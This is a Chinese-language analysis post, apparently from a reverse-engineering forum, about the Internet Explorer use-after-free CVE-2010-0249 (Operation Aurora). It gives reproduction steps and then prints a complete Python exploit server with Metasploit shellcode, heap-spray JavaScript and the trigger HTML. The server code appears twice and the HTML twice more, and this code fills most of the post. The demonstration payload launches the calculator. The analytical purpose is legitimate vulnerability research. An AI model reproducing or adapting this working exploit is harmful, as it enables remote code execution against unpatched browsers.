内存下内存写入断点
漏洞详情 :
Use-after-free vulnerability in Microsoft Internet Explorer 6, 6 SP1, 7,
and 8 on Windows 2000 SP4; Windows XP SP2 and SP3; Windows Server 2003
SP2; Windows Vista Gold, SP1, and SP2; Windows Server 2008 Gold, SP2,
and R2; and Windows 7 allows remote attackers to execute arbitrary code
by accessing a pointer associated with a deleted object, related to
incorrectly initialized memory and improper handling of objects in
memory, as exploited in the wild in December 2009 and January 2010
during Operation Aurora, aka "HTML Object Memory Corruption
Vulnerability.
漏洞影响的操作系统版本
:
win 2000
win xp
win server2003
win vista
win server2008
win7
漏洞影响的IE浏览器版本:
Microsoft Internet Explorer 6
Microsoft Internet Explorer 7
Microsoft Internet Explorer 8
漏洞原因:
通过访问已删除对象相关联的指针来执行任意代码.
操作系统 :Windows xp sp2
浏览器: IE 6.0 2900.2180
漏洞Exploit
: https://www.exploit-db.com/exploits/11167/
调试器: IDA、OD
漏洞验证
浏览器设置:
以下两个选项勾上,为了方便调试
浏览器设置:
运行Exploit文件:
从
https://www.exploit-db.com/exploits/11167/
下载
Exploit
的python文件,重命名为
ie_aurora.py
,用鼠标拖进cmd之后输入端口号8080启动
触发漏洞:
浏览器中输入web服务器地址并进入
成功弹出计算器
漏洞分析
HTTP服务器代码解读:
# -*- coding: UTF-8 -*-
#
# Author : Ahmed Obied (ahmed.obied@gmail.com)
#
# This program acts as a web server that generates an exploit to
# target a vulnerability (CVE-2010-0249) in Internet Explorer.
# The exploit was tested using Internet Explorer 6 on Windows XP SP2.
# The exploit's payload spawns the calculator.
#
# Usage : python ie_aurora.py [port number]
#
import sys
import socket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
# RequestHandler是自定义处理程序,用于处理HTTP请求
class RequestHandler(BaseHTTPRequestHandler):
def convert_to_utf16(self, payload):
enc_payload = ''
for i in range(0, len(payload), 2):
num = 0
for j in range(0, 2):
num += (ord(payload[i + j]) & 0xff) << (j * 8)
enc_payload += '%%u%04x' % num
return enc_payload
def get_payload(self):
# win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
# http://metasploit.com
payload = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
return self.convert_to_utf16(payload)
def get_exploit(self):
#exploit 是html代码
exploit = '''
<html>
<head>
<script>
var obj, event_obj;
//堆喷射函数
function spray_heap()
{
var chunk_size, payload, nopsled;
//0x80000 = 0.5mb
chunk_size = 0x80000;
payload = unescape("<PAYLOAD>");
nopsled = unescape("<NOP>");
//nopsled是单个内存块的数据
while (nopsled.length < chunk_size)
nopsled += nopsled;
//给payload留空间
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
//进行堆喷射 这时进程会分配200块大内存
for (var i = 0 ; i < 200 ; i++)
heap_chunks[i] = nopsled + payload;
}
function initialize()
{
obj = new Array();
event_obj = null;
for (var i = 0; i < 200 ; i++ )
obj[i] = document.createElement("COMMENT");
}
function ev1(in_event)
{
//调用createEventObject为当前的Event事件创建一个副本
event_obj = document.createEventObject(in_event);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 1);
}
function ev2()
{
var data, tmp;
data = "";
tmp = unescape("%u0a0a%u0a0a");
for (var i = 0 ; i < 4 ; i++)
data += tmp;
for (i = 0 ; i < obj.length ; i++ ) {
obj[i].data = data;
}
event_obj.srcElement;
}
function check()
{
if (navigator.userAgent.indexOf("MSIE") == -1)
return false;
return true;
}
if (check()) {
initialize();
spray_heap();
}
else
window.location = 'about:blank'
</script>
</head>
<body>
<span id="sp1">
<img src="aurora.gif" onload="ev1(event)">
</span>
</body>
</html>
'''
#把exploit字符串中的'<PAYLOAD>'替换为payload
exploit = exploit.replace('<PAYLOAD>', self.get_payload())
#把exploit字符串中的'<NOP>'替换为'%u0a0a%u0a0a'
exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
#输出exploit字符串 用于替换字符串后观察
print ("exploit %s" % exploit)
return exploit
def get_image(self):
content = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
content += '\x01\x00\x3b'
return content
def log_request(self, *args, **kwargs):
pass
# 处理GET请求
def do_GET(self):
try:
if self.path == '/':
print '[-] Incoming connection from %s' % self.client_address[0]
# 设置响应状态码
self.send_response(200)
# 设置响应头
self.send_header('Content-Type', 'text/html')
self.end_headers()
print '[-] Sending exploit to %s ...' % self.client_address[0]
# 输出响应内容
self.wfile.write(self.get_exploit())
print '[-] Exploit sent to %s' % self.client_address[0]
elif self.path == '/aurora.gif':
# 设置响应状态码
self.send_response(200)
# 设置响应头
self.send_header('Content-Type', 'image/gif')
self.end_headers()
# 输出响应内容
self.wfile.write(self.get_image())
except:
print '[*] Error : an error has occured while serving the HTTP request'
print '[-] Exiting ...'
sys.exit(-1)
def main():
if len(sys.argv) != 2:
print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
sys.exit(0)
try:
#拿到服务端口
port = int(sys.argv[1])
if port < 1024 or port > 65535:
raise ValueError
try:
# RequestHandler是自定义处理函数,用于处理HTTP请求
serv = HTTPServer(('', port), RequestHandler)
#输出服务器地址
ip = socket.gethostbyname(socket.gethostname())
print '[-] Web server is running at http://%s:%d/' % (ip, port)
try:
# 设置一直监听并接收请求
serv.serve_forever()
except:
print '[-] Exiting ...'
except socket.error:
print '[*] Error : a socket error has occurred'
sys.exit(-1)
except ValueError:
print '[*] Error : an invalid port number was given'
sys.exit(-1)
if __name__ == '__main__':
main()
# -*- coding: UTF-8 -*-
#
# Author : Ahmed Obied (ahmed.obied@gmail.com)
#
# This program acts as a web server that generates an exploit to
# target a vulnerability (CVE-2010-0249) in Internet Explorer.
# The exploit was tested using Internet Explorer 6 on Windows XP SP2.
# The exploit's payload spawns the calculator.
#
# Usage : python ie_aurora.py [port number]
#
import sys
import socket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
# RequestHandler是自定义处理程序,用于处理HTTP请求
class RequestHandler(BaseHTTPRequestHandler):
def convert_to_utf16(self, payload):
enc_payload = ''
for i in range(0, len(payload), 2):
num = 0
for j in range(0, 2):
num += (ord(payload[i + j]) & 0xff) << (j * 8)
enc_payload += '%%u%04x' % num
return enc_payload
def get_payload(self):
# win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
# http://metasploit.com
payload = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
return self.convert_to_utf16(payload)
def get_exploit(self):
#exploit 是html代码
exploit = '''
<html>
<head>
<script>
var obj, event_obj;
//堆喷射函数
function spray_heap()
{
var chunk_size, payload, nopsled;
//0x80000 = 0.5mb
chunk_size = 0x80000;
payload = unescape("<PAYLOAD>");
nopsled = unescape("<NOP>");
//nopsled是单个内存块的数据
while (nopsled.length < chunk_size)
nopsled += nopsled;
//给payload留空间
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
//进行堆喷射 这时进程会分配200块大内存
for (var i = 0 ; i < 200 ; i++)
heap_chunks[i] = nopsled + payload;
}
function initialize()
{
obj = new Array();
event_obj = null;
for (var i = 0; i < 200 ; i++ )
obj[i] = document.createElement("COMMENT");
}
function ev1(in_event)
{
//调用createEventObject为当前的Event事件创建一个副本
event_obj = document.createEventObject(in_event);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 1);
}
function ev2()
{
var data, tmp;
data = "";
tmp = unescape("%u0a0a%u0a0a");
for (var i = 0 ; i < 4 ; i++)
data += tmp;
for (i = 0 ; i < obj.length ; i++ ) {
obj[i].data = data;
}
event_obj.srcElement;
}
function check()
{
if (navigator.userAgent.indexOf("MSIE") == -1)
return false;
return true;
}
if (check()) {
initialize();
spray_heap();
}
else
window.location = 'about:blank'
</script>
</head>
<body>
<span id="sp1">
<img src="aurora.gif" onload="ev1(event)">
</span>
</body>
</html>
'''
#把exploit字符串中的'<PAYLOAD>'替换为payload
exploit = exploit.replace('<PAYLOAD>', self.get_payload())
#把exploit字符串中的'<NOP>'替换为'%u0a0a%u0a0a'
exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
#输出exploit字符串 用于替换字符串后观察
print ("exploit %s" % exploit)
return exploit
def get_image(self):
content = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
content += '\x01\x00\x3b'
return content
def log_request(self, *args, **kwargs):
pass
# 处理GET请求
def do_GET(self):
try:
if self.path == '/':
print '[-] Incoming connection from %s' % self.client_address[0]
# 设置响应状态码
self.send_response(200)
# 设置响应头
self.send_header('Content-Type', 'text/html')
self.end_headers()
print '[-] Sending exploit to %s ...' % self.client_address[0]
# 输出响应内容
self.wfile.write(self.get_exploit())
print '[-] Exploit sent to %s' % self.client_address[0]
elif self.path == '/aurora.gif':
# 设置响应状态码
self.send_response(200)
# 设置响应头
self.send_header('Content-Type', 'image/gif')
self.end_headers()
# 输出响应内容
self.wfile.write(self.get_image())
except:
print '[*] Error : an error has occured while serving the HTTP request'
print '[-] Exiting ...'
sys.exit(-1)
def main():
if len(sys.argv) != 2:
print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
sys.exit(0)
try:
#拿到服务端口
port = int(sys.argv[1])
if port < 1024 or port > 65535:
raise ValueError
try:
# RequestHandler是自定义处理函数,用于处理HTTP请求
serv = HTTPServer(('', port), RequestHandler)
#输出服务器地址
ip = socket.gethostbyname(socket.gethostname())
print '[-] Web server is running at http://%s:%d/' % (ip, port)
try:
# 设置一直监听并接收请求
serv.serve_forever()
except:
print '[-] Exiting ...'
except socket.error:
print '[*] Error : a socket error has occurred'
sys.exit(-1)
except ValueError:
print '[*] Error : an invalid port number was given'
sys.exit(-1)
if __name__ == '__main__':
main()
首先在main函数中启动了一个HTTP服务器,再用RequestHandler这个类来处理网页对服务器的访问请求,当网页访问服务器时会进行GET请求,
由do_GET函数响应,在
do_GET
函数中,path等于'/'则调用get_exploit返回html文件到浏览器, path等于'/aurora.gif'时发送gif图片数据到浏览器。
HTML与JavaScript代码解读:
<html>
<head>
<script>
var obj, event_obj;
//堆喷射函数
function spray_heap() {
var chunk_size, payload, nopsled;
//0x80000 = 0.5mb
chunk_size = 0x80000;
payload = unescape("<PAYLOAD>");
nopsled = unescape("<NOP>");
//nopsled是单个内存块的数据
while (nopsled.length < chunk_size)
nopsled += nopsled;
//给payload留空间
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
//进行堆喷射 这时进程会分配200块大内存
for (var i = 0 ; i < 200 ; i++)
heap_chunks[i] = nopsled + payload;
}
function initialize() {
obj = new Array();
event_obj = null;
for (var i = 0; i < 200 ; i++ )
obj[i] = document.createElement("COMMENT");
}
function ev1(in_event) {
event_obj = document.createEventObject(in_event);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 1);
}
function ev2() {
var data, tmp;
data = "";
tmp = unescape("%u0a0a%u0a0a");
for (var i = 0 ; i < 4 ; i++)
data += tmp;
for (i = 0 ; i < obj.length ; i++ ) {
obj[i].data = data;
}
event_obj.srcElement;
}
function check() {
if (navigator.userAgent.indexOf("MSIE") == -1)
return false;
return true;
}
if (check()) {
initialize();
spray_heap();
}
else
window.location = 'about:blank'
</script>
</head>
<body>
<span id="sp1">
<img src="aurora.gif" onload="ev1(event)">
</span>
</body>
</html>
加载HTML文件时,首先被执行的是<script>.......</script>之中的Javascript代码,之后会进入HTML的<BODY>.......</BODY>部分执行HTML代码,
<html>
<head>
<script>
var obj, event_obj;
//堆喷射函数
function spray_heap() {
var chunk_size, payload, nopsled;
//0x80000 = 0.5mb
chunk_size = 0x80000;
payload = unescape("<PAYLOAD>");
nopsled = unescape("<NOP>");
//nopsled是单个内存块的数据
while (nopsled.length < chunk_size)
nopsled += nopsled;
//给payload留空间
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
//进行堆喷射 这时进程会分配200块大内存
for (var i = 0 ; i < 200 ; i++)
heap_chunks[i] = nopsled + payload;
}
function initialize() {
obj = new Array();
event_obj = null;
for (var i = 0; i < 200 ; i++ )
obj[i] = document.createElement("COMMENT");
}
function ev1(in_event) {
event_obj = document.createEventObject(in_event);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 1);
}
function ev2() {
var data, tmp;
data = "";
tmp = unescape("%u0a0a%u0a0a");
for (var i = 0 ; i < 4 ; i++)
data += tmp;
for (i = 0 ; i < obj.length ; i++ ) {
obj[i].data = data;
}
event_obj.srcElement;
}
function check() {
if (navigator.userAgent.indexOf("MSIE") == -1)
return false;
return true;
}
if (check()) {
initialize();
spray_heap();
}
else
window.location = 'about:blank'
</script>
</head>
<body>
<span id="sp1">
<img src="aurora.gif" onload="ev1(event)">
</span>
</body>
</html>
加载HTML文件时,首先被执行的是<script>.......</script>之中的Javascript代码,之后会进入HTML的<BODY>.......</BODY>部分执行HTML代码,
Javascript代码会先执行initialize函数创建200个HTML Elment对象,然后调用spray_heap函数进行堆喷射,
HTML代码首先会创建一个id等于 "sp1"的 span对象,然后加载aurora.gif并在处理onload事件时调用
Javascript 代码中的 ev1 函数去触发漏洞。
在 ev1 函数中第一个参数in_event就是当前onload的Event对象, 函数先调用createEventObject为当前的Event事件创建一个副本,再调用getElementById访问
HTML中的Span对象,并清空名为"sp1"的span对象内容, 这样将导致span对象被释放,之后调用setInterval对ev2函数进行延时重复调用,延时时间为1ms。
在ev2函数中会对
initialize
时创建的200个HTML Element对象的数据进行赋值, 之后使用srcElement访问对象本身触发漏洞。
分析异常时基本信息
:
用OD启动IE浏览器,shellcode第一个字节下断,断下后观察栈区窗口,找到返回函数地址。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2018-11-13 18:09
被来杯柠檬红茶编辑
,原因: